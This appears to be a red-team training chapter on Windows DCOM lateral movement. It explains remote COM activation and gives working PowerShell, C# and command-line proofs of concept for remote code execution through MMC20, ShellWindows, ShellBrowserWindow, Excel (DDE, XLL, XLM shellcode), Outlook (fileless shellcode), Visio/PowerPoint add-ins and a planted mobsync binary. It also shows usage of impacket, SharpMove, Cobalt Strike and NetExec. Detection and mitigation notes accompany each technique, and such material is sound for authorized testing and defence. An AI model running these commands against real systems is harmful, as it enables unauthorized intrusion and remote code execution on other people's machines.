Files
An0nUD4Y-Offensive-COM/02-dcom-lateral-movement.md
2026-07-18 21:50:11 +05:30

58 KiB
Raw Permalink Blame History

02 · DCOM Lateral Movement

Audience / level: Red team operators and detection engineers; no DCOM background assumed, ramping to advanced tradecraft. Prerequisites: basic Windows administration (registry, services, event logs), TCP/IP fundamentals, and PowerShell or C# literacy. Estimated reading time: 90120 minutes. After this chapter you will be able to explain DCOM remote activation packet-by-packet, execute commands on remote hosts through seven abusable COM object classes, pick the right tool for a given foothold, and predict exactly which telemetry each variant produces.

Contents


1. COM and DCOM in ten minutes

The Component Object Model (COM) is Windows' local inter-process object model: a binary contract that lets one process instantiate and call objects implemented by another, with classes and interfaces identified by GUIDs. Distributed COM (DCOM) is the same object model remoted over the network. The transport is ORPC — Object RPC, Microsoft's extension of DCE/RPC carried over the ncacn_ip_tcp protocol sequence ([11]).

Beginner note: A CLSID (class identifier) is the GUID that names a COM class, for example {49B2791A-B1AE-4C90-9B8E-E860BA07F889}. A ProgID is a human-readable alias such as MMC20.Application. Both are registered under HKCR\CLSID; the registry tells the COM runtime which binary implements the class and how to start it.

Beginner note: An AppID is a second GUID, stored under HKCR\AppID\{AppID}, that groups classes for activation policy: which identity the server runs as (RunAs) and who may launch or activate it remotely (LaunchPermission). When you audit "DCOM permissions" you are auditing AppIDs, not CLSIDs.

A remote activation from .NET is three lines. COM interop performs CoCreateInstanceEx with a COSERVERINFO structure for you — no P/Invoke required:

$Type      = [Type]::GetTypeFromCLSID($clsid, $ComputerName)   # or GetTypeFromProgID($ProgId, $ComputerName)
$ComObject = [Activator]::CreateInstance($Type)

Under the hood, the runtime executes:

CoCreateInstanceEx(&clsid, pUnkOuter, CLSCTX_REMOTE_SERVER, pServerInfo /* COSERVERINFO */, n, rgiq);

COSERVERINFO.pwszName carries the target — and doubles as an authentication selector: a hostname or FQDN lets Kerberos work, while a bare IP address forces NTLMv2 (section 3).

Key idea: Everything in this chapter is a variation on one theme — find a class with a dangerous method, remote-activate it with CoCreateInstanceEx, then call the method over ORPC. The objects change; the plumbing never does.

Legal: Every technique here requires administrative credentials on the target and executes code on machines you do not own. Use only inside an authorized engagement with written scope; reproduce in your own lab VMs (the PoCs below keep the RFC1918 addresses from the original write-ups).


2. Activation over the wire

When the three-line PowerShell snippet above runs against a remote host, this is what crosses the network, in order:

  1. Endpoint mapping (TCP 135). The client connects to the target's RPC endpoint mapper (epmap) on TCP 135. This connection is short-lived.
  2. Class resolution. The target's RPCSS service resolves the CLSID under HKCR\CLSID and locates the hosting binary and its AppID.
  3. Authorization check. RPCSS evaluates the AppID's Launch/Activation permission (section 3) before starting anything.
  4. Server start. On success, the DCOM service control manager — DcomLaunch, visible as svchost.exe -k DcomLaunch — starts the server process: mmc.exe -Embedding, EXCEL.EXE /automation -Embedding, or DllHost.exe /Processid:{AppID} for DLL-hosted classes.
  5. OXID resolution. The client asks the object exporter (IObjectExporter::ResolveOxid2) which dynamic port the new object listens on: 4915265535 on Vista and later, 10245000 on legacy systems.
  6. Method calls. All subsequent traffic — IDispatch::GetIDsOfNames to resolve method names to DISPIDs, then IDispatch::Invoke with arguments — flows over that dynamic high port.

Beginner note: An OXID (object exporter identifier) is DCOM's handle for "the set of objects a server process exports"; resolving it is how the client learns the dynamic port. IDispatch is the late-binding interface that lets scripting clients and .NET InvokeMember call methods by name: GetIDsOfNames("ShellExecute") returns a DISPID, and Invoke executes it. Because calls are made by name, method strings cross the wire in readable form unless packet-privacy encryption is negotiated — a gift to network defenders (section 7).

The activation call itself is handled by IRemoteSCMActivator (historically ISystemActivator) on the target — opnum 3 RemoteGetClassObject for class objects, opnum 4 RemoteCreateInstance for instances. Both opnums against TCP 135 are high-fidelity network indicators, particularly between workstations.

Figure 1 — DCOM on the wire: activation, OXID resolution, and method calls How to read this figure: follow the numbered arrows left to right — the client's RemoteCreateInstance to TCP 135, OXID resolution via ResolveOxid2, then method calls on the dynamic high port. The amber callout marks where an OXID-man-in-the-middle attack (the potato family) hijacks the flow.


3. Authentication and authorization

DCOM is always authenticated. There is no anonymous remote activation. Two protocol paths exist:

Path Trigger Server-side proof Telemetry
Kerberos Target given as hostname/FQDN Service ticket for SPN RPCSS/<host> Security 4768/4769 (DC), 4624 Type 3 on target
NTLMv2 Target given as bare IP NTLM challenge/response 4624 Type 3 on target, 4648 on source for explicit creds

The 4624 Type 3 (network logon) on the target is unavoidable; 4672 (special privileges assigned) typically follows when the account is an admin. PtH (pass-the-hash) works over the NTLM path; membership in Protected Users blocks NTLM and therefore NTLM-based DCOM, while Kerberos DCOM remains possible. Tokens are single-hop: DCOM activation does not delegate, so you cannot bounce credentials onward from the pivot. For local testing, a loopback activation against 127.0.0.1 works — with ShellWindows it even runs in the interactive user's explorer context.

Authorization is separate from authentication and happens per AppID. The LaunchPermission value (REG_BINARY) under HKCR\AppID\{AppID} holds an ACL; when absent, the machine-wide defaults configured in dcomcnfg apply. Out of the box, those defaults grant Administrators Local + Remote Launch/Activation. Critically, the three classic abused objects — MMC20, ShellWindows, ShellBrowserWindow — have no explicit LaunchPermission, so they inherit the default and local admin on the target is the practical requirement.

Two identity caveats matter operationally:

  • The Distributed COM Users group exists to delegate DCOM access to non-admins but is usually empty.
  • UAC remote token filtering blocks non-RID-500 local accounts over the network unless LocalAccountTokenFilterPolicy=1 is set; domain accounts placed in local Administrators are unaffected and work.

OpSec: Enumerate the surface before you touch it: Get-CimInstance Win32_DCOMApplication lists AppIDs and names, and OleViewDotNet audits the ACLs (filter entry LaunchPermission == None to find classes inheriting the default) ([23]).


4. Why DCOM is living off the land

DCOM execution is prized in mature environments because it produces almost none of the artifacts defenders baseline for lateral movement:

  • No service creation — no Security 7045 event, no services.exe write.
  • No scheduled task, no run key, no persistence of any kind.
  • No ADMIN$ drop required for the pure PowerShell/C# primitives — the payload travels as method arguments, not as a file (impacket's dcomexec.py is the exception: it writes output back over ADMIN$, section 6).
  • No new listening port on the target beyond the RPC dynamic-port plumbing that already exists.
  • Execution rides signed Microsoft binariesmmc.exe, EXCEL.EXE, OUTLOOK.EXE, explorer.exe — using the same RPC plumbing as legitimate administration tools.

The trade-off: DCOM primitives are semi-interactive. ExecuteShellCommand and ShellExecute return no stdout, so operators exfiltrate results out-of-band — redirect to a share (/c whoami > \\share\o.txt) or let impacket write to \\127.0.0.1\ADMIN$ and read it back over SMB. Plan your channel before you fire the method.


5. Abusable remote COM objects

Every object below is remote-activatable with default permissions and exposes at least one method that reaches command execution. The anatomy is always the same; only the host process and the method differ.

Figure 2 — Anatomy of DCOM lateral movement How to read this figure: the attacker host (PowerShell or impacket) activates an object on the target over Kerberos/NTLM and TCP 135 + a dynamic port; RPCSS starts or attaches to the host process (mmc.exe here), and the method call spawns the payload as a child. Teal dashed callouts mark the defender's view: Sysmon 1 process lineage, Sysmon 3 inbound 135/high ports, and the absence of service installs or SMB drops.

Object CLSID Host process Extra requirement Payload form
MMC20.Application {49B2791A-B1AE-4C90-9B8E-E860BA07F889} mmc.exe -Embedding MMC firewall rule enabled fileless command line
ShellWindows {9BA05972-F6A8-11CF-A442-00A0C90A8F39} existing explorer.exe interactive session on target fileless command line
ShellBrowserWindow {C08AFD90-F2A1-11D1-8455-00A0C91F3880} existing explorer.exe interactive session; Win10/2012R2+ fileless command line or file path
Excel.Application {00020812-0000-0000-C000-000000000046} EXCEL.EXE /automation -Embedding Office installed command line / DLL / XLM macro / planted binary
Outlook.Application {0006F03A-0000-0000-C000-000000000046} OUTLOOK.EXE -Embedding Outlook installed fileless shellcode (DotNetToJScript)
Visio / PowerPoint via ProgID VISIO.EXE / PowerPoint host respective app installed add-in file
SyncInfrastructure (mobsync) {C947D50F-378E-4FF6-8835-FCB50305244D} planted mobsync.exe target missing the binary; ADMIN$ write planted executable

5.1 MMC20.Application (remote ExecuteShellCommand)

MITRE: T1021.003 · Since: enigma0x3, January 5, 2017 ([1]) · Affects: tested on Windows 7 / 10 / 2012R2 ([13])

The original DCOM lateral-movement primitive. The Microsoft Management Console automation object (MMC20.Application, AppID {7E0423CD-1119-0928-900C-E6D4A52A0715}) exposes the MMC snap-in object model to scripts, and buried at Document.ActiveView sits ExecuteShellCommand — a method that spawns an arbitrary process with a split program/parameters command line. enigma0x3's disclosure opened the entire research category ([1]).

Figure 3 — MMC20.Application kill chain How to read this figure: the five numbered steps walk from GetTypeFromCLSID on the attacker host, through activation with admin credentials and the MMC object-model descent (Application → Document → ActiveView), to ExecuteShellCommand spawning the payload on the target.

Mechanics

  1. Resolve the class on the target: Type.GetTypeFromProgID("MMC20.Application", "192.168.99.132") — under the hood CoCreateInstanceEx with COSERVERINFO.pwszName set to the target.
  2. Authenticate as a local administrator (4624 Type 3 on the target; 4648 on the source for explicit creds).
  3. RPCSS checks launch permissions — MMC20 has no explicit LaunchPermission, so the Administrators-friendly machine default applies — and DcomLaunch starts mmc.exe -Embedding as the authenticating user.
  4. Walk the object model over ORPC: Document property → ActiveView property → ExecuteShellCommand(Command, Directory, Parameters, WindowState).
  5. Command is the program (C:\Windows\System32\cmd.exe), Parameters its arguments (/c whoami > C:\temp\o.txt), and WindowState "7" runs it minimized. The child process appears under mmc.exe.
  6. Collect output out-of-band — redirect to a file/share, since the method returns no stdout.

Prerequisites

Requirement Detail
Privileges Local administrator on the target (default launch ACL)
Network TCP 135 + one dynamic high port (4915265535) inbound to the target
Config Inbound firewall rule "Microsoft Management Console" must be enabled — it is blocked by default, which stops this object on many hardened builds
OS/build Windows 7 / 10 / 2012R2 verified via impacket ([13])

Proof of concept

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.99.132"))
$com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\cmd.exe",$null,"/c whoami > C:\temp\o.txt","7")
Type t = Type.GetTypeFromProgID("MMC20.Application", "192.168.1.10");
object com = Activator.CreateInstance(t);
object doc  = com.GetType().InvokeMember("Document",  BindingFlags.GetProperty, null, com, null);
object view = doc.GetType().InvokeMember("ActiveView", BindingFlags.GetProperty, null, doc, null);
view.GetType().InvokeMember("ExecuteShellCommand", BindingFlags.InvokeMethod, null, view,
    new object[]{ "C:\\Windows\\System32\\cmd.exe", null, "/c whoami > C:\\temp\\o.txt", "7" });

OpSec & detection

  • Sysmon 1: svchost.exe -k DcomLaunchmmc.exe -Embedding, then a second-generation mmc.execmd.exe/powershell.exe. The Sigma MMC20 rule keys exactly on this lineage (section 7) ([24]).
  • Security 4624 Type 3 on the target for the DCOM logon; Microsoft Defender for Identity raises "Remote code execution attempt" for MMC20.
  • Network: RemoteCreateInstance (opnum 4) to 135, then GetIDsOfNames("ExecuteShellCommand") + Invoke with the full command line in cleartext at packet-integrity level (section 7).
  • Reduce noise: keep the whole payload in Parameters so Image stays cmd.exe; avoid staging files on the target so no Sysmon 11 fires.

Mitigations

  • Keep the inbound "Microsoft Management Console" firewall rule disabled (default) and block workstation-to-workstation 135/dynamic ports.
  • Set an explicit LaunchPermission on AppID {7E0423CD-1119-0928-900C-E6D4A52A0715} denying remote launch (section 8), and alert on mmc.exe spawning child processes.

5.2 ShellWindows (ShellExecute as the interactive user)

MITRE: T1021.003 · Since: enigma0x3, "DCOM Round 2", January 23, 2017 ([2]) · Affects: tested on Windows 7 / 10 / 2012R2 ([13])

ShellWindows (CLSID {9BA05972-F6A8-11CF-A442-00A0C90A8F39}, no ProgID, LocalServer32 rundll32.exe) is registered with RunAs: Interactive User and piggybacks the already-running explorer.exe — activation attaches to the user's shell instead of starting a new COM host, so there is no mmc.exe-style spawn event. Through the IShellDispatch2 interface it exposes ShellExecute, plus a toolchest of bonus methods: ServiceStart, ServiceStop, IsServiceRunning, ShutDownWindows, GetSystemInformation ([2]). It is the default object in impacket's dcomexec.py ([13]).

Figure 4 — ShellWindows / ShellBrowserWindow chain How to read this figure: the attacker activates ShellWindows on the target, but execution attaches to the logged-on user's explorer.exe; .Item().Document.Application.ShellExecute("cmd.exe", ...) spawns the payload as an explorer child. Note the requirement banner: an interactive session must exist on the target, and the payload runs as that logged-on user.

Mechanics

  1. Remote-activate CLSID {9BA05972-F6A8-11CF-A442-00A0C90A8F39} against the target with admin credentials.
  2. Because of RunAs: Interactive User, the activation binds to the interactive session's explorer.exe; if no user is logged on, the technique fails.
  3. Call .Item() to get a shell folder window object.
  4. Descend Document.Application to reach IShellDispatch2.ShellExecute(sFile, vArguments, vDirectory, vOperation, vShow).
  5. vShow 0 hides the window; the payload starts as a child of explorer.exe, running as the logged-on user.
  6. Output returns nothing — exfiltrate out-of-band as with MMC20.

Prerequisites

Requirement Detail
Privileges Local administrator on the target (inherited default launch ACL)
Session An interactive logon session must exist on the target — RunAs: Interactive User binds to it
Network TCP 135 + dynamic high port inbound
OS/build Windows 7 / 10 / 2012R2 verified ([13])

Proof of concept

$com = [Type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","192.168.99.13")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
# impacket dcomexec.py — ShellWindows is the default object
dcomexec.py DOMAIN/admin:pass@192.168.1.10 "cmd.exe /c whoami > C:\\temp\\o.txt"
dcomexec.py -object ShellWindows -hashes :NTHASH DOMAIN/admin@192.168.1.10

OpSec & detection

  • Sysmon 1: no COM-host spawn; instead explorer.execmd.exe, which is rarer and higher-signal on servers than on workstations.
  • Network: DCE/RPC GetIDsOfNames("ShellExecute") and the Invoke arguments cross in cleartext at Packet-Integrity — integrity protects against tampering, not disclosure; only Packet Privacy encrypts.
  • Reduce noise: no new host process and no -Embedding command line make this the quietest of the classic three on the process axis; the unavoidable artifacts are the 4624 Type 3 and the network-level method strings.

Mitigations

  • Remove Remote Launch/Activation from Administrators in the machine-wide DCOM defaults (section 8) — ShellWindows has no explicit ACL to fall back on.
  • Alert on explorer.exe spawning command interpreters, especially on servers where users rarely log on interactively.

5.3 ShellBrowserWindow (ShellExecute and Navigate)

MITRE: T1021.003 · Since: enigma0x3 Round 2 ([2]); Navigate variant by bohops, March 17, 2018 ([7]) · Affects: Windows 10 / 2012R2 and later only — absent on Windows 7; impacket-verified on Win10/2012R2 ([13])

ShellBrowserWindow (CLSID {C08AFD90-F2A1-11D1-8455-00A0C91F3880}, no ProgID, RunAs: Interactive User) is the sibling of ShellWindows with two practical differences: the ShellExecute path needs no .Item() call (Document.Application is reachable directly), and the object also implements IWebBrowser2, giving Navigate/Navigate2 — a file-path execution primitive that takes no command-line switches at all ([2][7]).

Mechanics

  1. Remote-activate {C08AFD90-F2A1-11D1-8455-00A0C91F3880}; as with ShellWindows, execution binds to the interactive user's session.
  2. ShellExecute path: call Document.Application.ShellExecute(...) directly — same IShellDispatch2 semantics as 5.2, one hop shorter.
  3. Navigate path: call Navigate("C:\path\payload.exe") (or Navigate2) and the shell "opens" the target, executing it.
  4. Navigate constraints, from bohops' testing: file paths only, no command switches; avoid .hta (triggers a prompt); avoid HTTP/S URLs (an IE window visibly pops); UNC paths work — stage the binary on a share and navigate to it.
  5. Reliability caveat: Navigate/2 worked from Windows 10 against Server 2012 targets but failed against Windows 10/2016 targets in bohops' tests — treat it as version-sensitive and prefer ShellExecute ([7]).

Prerequisites

Requirement Detail
Privileges Local administrator on the target
Session Interactive logon session on the target
Network TCP 135 + dynamic high port inbound
OS/build Windows 10 / 2012R2+; the class does not exist on Windows 7

Proof of concept

# ShellExecute — no .Item() needed
([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","TARGET"))).Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)

# Navigate — file path or UNC only, no switches
([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","TARGET"))).Navigate("C:\path\payload.exe")

OpSec & detection

  • Identical lineage to ShellWindows (payload under explorer.exe), so process-based rules for 5.2 cover it; no separate COM-host artifact.
  • The Navigate variant produces no child command line at all — detection shifts to the file being opened (Sysmon 11 on the drop, or network/SMB telemetry for UNC fetches) and the IE-window side effects of bad scheme choices.
  • Method strings Navigate/Navigate2 and ShellExecute are visible to DCE/RPC-aware network inspection (section 7).

Mitigations

  • Same class-level controls as ShellWindows (default-ACL tightening, segmentation); on Windows 7 this object is a non-issue because the class is absent.

5.4 Excel.Application (five execution primitives)

MITRE: T1021.003 + T1559.001 · Since: 20172023, five researchers/teams (below) · Affects: any Windows build with Office installed; variant (e) requires Windows 10/11 + Office 365 x64

Excel is the richest DCOM target ever published: remote activation starts EXCEL.EXE /automation -Embedding (a strong, high-signal artifact) and hands you an automation surface with at least five independent paths to execution. The shared CLSID is {00020812-0000-0000-C000-000000000046}; the host command line /automation -Embedding is common to all variants.

Beginner note: DDE (Dynamic Data Exchange) is a legacy inter-app messaging protocol Excel still supports; XLM is Excel's pre-VBA macro language, executable through ExecuteExcel4Macro; an XLL is a DLL-based Excel add-in loaded by path; ActivateMicrosoftApp is an automation method that launches sibling Office applications by numeric ID.

(a) DDEInitiate — command line over DDE (Cybereason/Tsukerman, September 11, 2017)

DDEInitiate(App, Topic) was meant to open a DDE channel to another application, but Excel helpfully launches the named executable when no DDE server exists. Constraints: App is capped at 8 characters and .exe is auto-appended (so pass cmd, not cmd.exe); Topic carries up to 1024 characters of arguments; set DisplayAlerts=$false to suppress prompts. The spawned process is a child of EXCEL.EXE ([5]).

$hb = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","192.168.126.134"))
$hb.DisplayAlerts = $false
$hb.DDEInitiate('cmd','/c powershell -enc <cradle>')

(b) RegisterXLL — DLL load by path (Ryan Hanson / Empire)

Application.RegisterXLL(dllPath) registers an XLL add-in — but the load is performed with ordinary DLL semantics, so DllMain executes regardless of file extension or exports. A UNC path works, letting the payload DLL live on an attacker-controlled share rather than the target disk ([3]). Watch for Sysmon 7 (image load) of an .xll or unknown-module load into EXCEL.EXE.

(c) Run() macro — staged .xlsm (enigma0x3)

The straightforward route: copy a macro-enabled workbook (.xlsm) to the target, Workbooks.Open it remotely, then $com.Run("MyMacro") to invoke VBA inside the remote Excel ([3]). Reliable but touches disk (Sysmon 11 on the .xlsm).

(d) ExecuteExcel4Macro — fileless XLM and in-process shellcode (Stan Hegt/Outflank; MDSec, September 2020)

ExecuteExcel4Macro evaluates XLM macro strings directly — no workbook needed. EXEC("calc.exe") is the one-liner; the full MDSec chain achieves shellcode injection inside the DCOM-spawned excel.exe via CALL("Kernel32","VirtualAlloc",...) + RtlMoveMemory + QueueUserAPC, entirely fileless ([9]). Weaponized by SharpExcel4-DCOM (rvrsh3ll) ([18]).

Type ComType = Type.GetTypeFromProgID("Excel.Application", REMOTE_HOST);
object excel = Activator.CreateInstance(ComType);
excel.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, excel,
    new object[] { "EXEC(\"calc.exe\")" });

(e) ActivateMicrosoftApp — EOL binary proxy execution (SpecterOps, 2023)

ActivateMicrosoftApp(5|6|7) launches end-of-life Office siblings (FoxPro, WinProj, Schedule+) — and resolves their binaries via PATH search. Plant a payload as %LOCALAPPDATA%\Microsoft\WindowsApps\FOXPROW.exe over ADMIN$, then activate index 5: Excel launches your binary under the EOL application's name. Requires Windows 10/11 with Office 365 x64 ([10]).

Prerequisites

Requirement Detail
Privileges Local administrator on the target
Software Microsoft Office (Excel) installed — so workstations and VDI, rarely servers
Network TCP 135 + dynamic high port inbound
Variant-specific (e) needs ADMIN$ write for the planted binary; (c) needs a staged .xlsm

OpSec & detection

  • Sysmon 1: svchost.exe -k DcomLaunchEXCEL.EXE /automation -Embedding, then children of EXCEL.EXE. FalconFriday notes /automation -Embedding alone is noisy as an analytic — correlate with lineage and Office's non-interactive use ([25]).
  • Sysmon 7: .xll or unknown-DLL loads into EXCEL.EXE (RegisterXLL).
  • On servers, non-interactive Office usage is close to a zero-false-positive signal — prioritize it.
  • Excel's DisplayAlerts=$false and hidden windows reduce user-facing noise but do nothing against process telemetry.

Mitigations

  • Do not install Office on servers; block Office child processes via application control/ASR rules.
  • DCOM default-ACL tightening (section 8) removes the remote-activation path for every variant at once.

5.5 Outlook.Application (CreateObject plus DotNetToJScript)

MITRE: T1021.003 + T1559.001 · Since: enigma0x3, November 16, 2017 ([4]) · Affects: hosts with Microsoft Outlook installed

Outlook's automation object (CLSID {0006F03A-0000-0000-C000-000000000046}, host OUTLOOK.EXE -Embedding) exposes CreateObject — a factory method that instantiates arbitrary other COM objects inside the remote Outlook process. Point it at ScriptControl, feed it JScript produced by DotNetToJScript, and you get fileless shellcode execution on the remote host with no payload on disk ([4]).

Mechanics

  1. Remote-activate Outlook.Application on the target (admin creds; OUTLOOK.EXE -Embedding starts).
  2. Call $object.CreateObject("ScriptControl") — Outlook instantiates the ScriptControl COM object in-process.
  3. Set .Language = "JScript" and call .AddCode($code) where $code is DotNetToJScript output wrapping a .NET assembly — typically a shellcode loader.
  4. The JScript engine deserializes and runs the .NET payload inside OUTLOOK.EXE: fileless execution under a signed Microsoft binary.
  5. Variants from the same post: $object.CreateObject("Shell.Application").ShellExecute(...) for direct command execution; CreateObject("Wscript.Shell") also works but drags in a wshom.ocx image-load IoC ([4]).

Prerequisites

Requirement Detail
Privileges Local administrator on the target
Software Microsoft Outlook installed
Network TCP 135 + dynamic high port inbound
Tooling DotNetToJScript (or equivalent) to build the JScript payload

Proof of concept

$com = [Type]::GetTypeFromProgID('Outlook.Application','192.168.99.152')
$object = [System.Activator]::CreateInstance($com)
$RemoteScriptControl = $object.CreateObject("ScriptControl")
$RemoteScriptControl.Language = "JScript"
$RemoteScriptControl.AddCode($code)   # $code = DotNetToJScript output -> fileless shellcode

OpSec & detection

  • Sysmon 1: svchost.exe -k DcomLaunchOUTLOOK.EXE -Embedding; the payload runs inside Outlook, so there is no second-generation child — lineage detection must key on the anomalous Outlook spawn itself.
  • Sysmon 7: wshom.ocx load if the Wscript.Shell variant is used.
  • Payload is fileless, so disk-based telemetry (Sysmon 11/13) stays silent; ScriptControl usage is the choke point for app-control rules.

Mitigations

  • Block ScriptControl (and mshta) via application control where not needed; alert on non-interactive OUTLOOK.EXE -Embedding spawns.
  • No Office/Outlook on servers; DCOM ACL hardening per section 8.

5.6 Visio and PowerPoint (add-in loading)

MITRE: T1021.003 · Since: Visio — Cybereason ([6]); PowerPoint — attactics.org, February 2018 ([20]) · Affects: hosts with Visio or PowerPoint installed

The Office add-in model generalizes the RegisterXLL idea: several Office applications will load an arbitrary file as an "add-in" over DCOM, and the load executes code.

Mechanics

  1. Visio: remote-activate ProgID Visio.Application (or Visio.InvisibleApp for a windowless host) and call Addons.Add(path) — Visio loads any executable as an add-on; it runs as a child of VISIO.EXE ([6]).
  2. PowerPoint: remote-activate PowerPoint.Application and call AddIns.Add("c:\addin.ppam") to register a VBA add-in whose macros execute ([20]).
  3. In both cases a payload file must be staged first (share or target disk); Invoke-DCOMPowerPointPivot.ps1 automates the PowerPoint route ([20]).

Prerequisites

Requirement Detail
Privileges Local administrator on the target
Software Visio / PowerPoint installed
Staging Add-in file reachable by the target (UNC or local path)
Network TCP 135 + dynamic high port inbound

Proof of concept

# Visio — path may point at any executable (illustrative one-liner; see [6])
$v = [activator]::CreateInstance([type]::GetTypeFromProgID("Visio.InvisibleApp","TARGET"))
$v.Addons.Add("\\share\payload.exe")

# PowerPoint — register a VBA add-in (illustrative one-liner; see [20])
$p = [activator]::CreateInstance([type]::GetTypeFromProgID("PowerPoint.Application","TARGET"))
$p.AddIns.Add("c:\addin.ppam")

OpSec & detection

  • Child processes of VISIO.EXE / the PowerPoint host; Sysmon 11 on the staged .ppam/payload.
  • Same /automation-style non-interactive Office signal as Excel — near-zero false positives on servers.

Mitigations

  • Application control over Office add-in loads; no Office on servers; DCOM ACL hardening (section 8).

5.7 Abandoned DCOM binaries (mobsync and friends)

MITRE: T1021.003 · Since: bohops, April 28, 2018 ([8]) · Affects: Windows 2008R2 / 2012R2 for the canonical mobsync case; the pattern applies wherever an orphaned registration survives

A registry inversion of the usual technique: instead of finding a dangerous method, find a DCOM class whose LocalServer32/InProcServer32 binary does not exist on the target, plant a payload at that path, and remote-activate the class. DcomLaunch obligingly starts your binary as the server. The canonical case is mobsync.exe — present in the registry but absent on disk on 2008R2/2012R2 — registered as the SyncInfrastructure class, CLSID {C947D50F-378E-4FF6-8835-FCB50305244D} ([8]).

Mechanics

  1. Identify an abandoned registration (the Research Lab section gives a hunting recipe; third-party uninstall leftovers qualify too — bohops lists IntelCpHDCPSvc.exe, AppID {84081F6F-8B2D-4FFE-AF7F-E72D488FABEB}).
  2. Copy the payload to the registered path: copy evil.exe \\target\admin$\system32\mobsync.exe.
  3. Remote-activate {C947D50F-378E-4FF6-8835-FCB50305244D}. DcomLaunch starts mobsync.exe — your payload.
  4. The client receives 0x80080005 (CO_E_SERVER_EXEC_FAILURE) because the binary never registers a class object — the payload runs anyway. Treat the error as expected, not as failure.

Prerequisites

Requirement Detail
Privileges Local administrator on the target; write access to the registered path (ADMIN$)
OS/build mobsync.exe absent on 2008R2/2012R2 — verify per-target (other abandoned paths vary by build)
Network TCP 135 + dynamic high port, plus SMB 445 for the plant

Proof of concept

copy evil.exe \\target\admin$\system32\mobsync.exe
[activator]::CreateInstance([type]::GetTypeFromCLSID("C947D50F-378E-4FF6-8835-FCB50305244D","target"))

OpSec & detection

  • System log, DistributedCOM 10010 — " did not register with DCOM within the required timeout" — is the signature event; it fires because the payload never registers.
  • Sysmon 11/13: the mobsync.exe file write itself; a mobsync.exe process on a server is inherently suspicious.
  • This variant does touch disk (unlike the pure primitives), trading stealth for reliability on older builds.

Mitigations

  • Prune orphaned COM registrations; baseline LocalServer32 paths and alert on binaries appearing at registered-but-previously-missing paths.
  • Watch DistributedCOM 10010 — it has a low baseline and a precise meaning.

5.8 Adjacent surfaces (Word, Internet Explorer, LethalHTA)

  • Word: remote DDE was unverified in Cybereason's testing — only Excel responded; the macro route (Run analog) is plausible but unconfirmed. Mark: (verify in lab) before relying on it ([6]).
  • InternetExplorer.Application ({0002DF01-0000-0000-C000-000000000046}) is constrained by IE protected mode; the community-standard alternative is bohops' Navigate via ShellBrowserWindow (5.3). A Sigma rule exists for the "DCOM InternetExplorer.Application iertutil DLL hijack" variant, and Sysmon 7 catches iertutil.dll loading from a non-system path ([2][7]).
  • LethalHTA (codewhitesec, July 2018) remote-activates the htafile ProgID (mshta LocalServer32) with a custom moniker plus DotNetToJScript for fileless, HTA-less execution — code at github.com/codewhitesec/LethalHTA ([19]).

6. Tooling

Every primitive above reduces to GetTypeFromCLSID/GetTypeFromProgID + Activator.CreateInstance + one method call, so tooling differs mainly in output handling, auth options, and operational wrappers.

impacket dcomexec.py

A semi-interactive shell over DCOM supporting three objects — MMC20, ShellWindows (default), ShellBrowserWindow ([13]). It wraps your command as cmd /c <cmd> 1> \\127.0.0.1\ADMIN$\__<epoch>.<ms> 2>&1 and reads the result back over SMB, so it needs ADMIN$ (override with -share; -nooutput runs blind). Other switches: -shell-type powershell, -silentcommand. Authentication: cleartext, -hashes (PtH), -k Kerberos with -aesKey/-keytab. Tested matrix: MMC20 on Win7/10/2012R2; ShellWindows on Win7/10/2012R2; ShellBrowserWindow on Win10/2012R2 ([13]).

dcomexec.py DOMAIN/admin:pass@192.168.1.10 "cmd.exe /c whoami > C:\\temp\\o.txt"   # ShellWindows default
dcomexec.py -object ShellWindows -hashes :NTHASH DOMAIN/admin@192.168.1.10
dcomexec.py -object MMC20 -k -nooutput DOMAIN/admin@target.domain.local

OpSec: the \\127.0.0.1\ADMIN$\__<epoch>.<ms> write-back leaves a deterministic pattern in command lines and ADMIN$: the regex \\__[0-9]{10}\.[0-9]{6,7}\s2>&1 detects it ([26]). Use -nooutput when you can.

Invoke-DCOM.ps1

rvrsh3ll's PowerShell wrapper for the enigma0x3-era primitives ([15]). It automates exactly the object walks shown in sections 5.15.4; the underlying one-liner it wraps is:

[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","TARGET")).Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c whoami","7")

SharpMove

0xthirteen's C# lateral-movement collection; DCOM execution via action=dcom, and action=hijackdcom for the planted-binary variant ([16]):

SharpMove.exe action=dcom computername=TARGET command="cmd.exe /c calc.exe"   (illustrative; see repo for full syntax [16])

Defenders ship a Sigma rule for it (proc_creation_win_hktl_sharpmove) — recompile with renamed artifacts before use.

SharpCOM

rvrsh3ll's C# implementation of the classic objects ([17]); functionally the C# MMC20 snippet from section 5.1 with target/CLSID parameterization. Useful when PowerShell logging (Script Block, AMSI) is a concern and you want the same primitives in an assembly.

SharpExcel4-DCOM

rvrsh3ll's weaponization of the Excel ExecuteExcel4Macro primitive (section 5.4d) — remote XLM execution without staging a workbook ([18]):

// core call it wraps; see repo for full CLI [18]
excel.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, excel,
    new object[] { "EXEC(\"calc.exe\")" });

Cobalt Strike

DCOM execution is documented in the Cobalt Strike User Guide under remote-exec (com-mmc20); the Aggressor-accessible one-liner is the MMC20 primitive itself (no public URL is cited in our source material):

[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","TARGET")).Document.ActiveView.ExecuteShellCommand("c:\windows\temp\a.exe", $null, "", "7");

NetExec

NetExec exposes MMC20 execution as an SMB --exec-method with a configurable DCOM timeout ([14]):

nxc smb <target> -u user -p pass --exec-method mmcexec -x "whoami"   # tune with --dcom-timeout

Also in the ecosystem

  • Empire — module powershell/lateral_movement/invoke_dcom covering MMC20, ShellWindows, ShellBrowserWindow, ExcelDDE, RegisterXLL, plus a DetectOffice check ([3]).
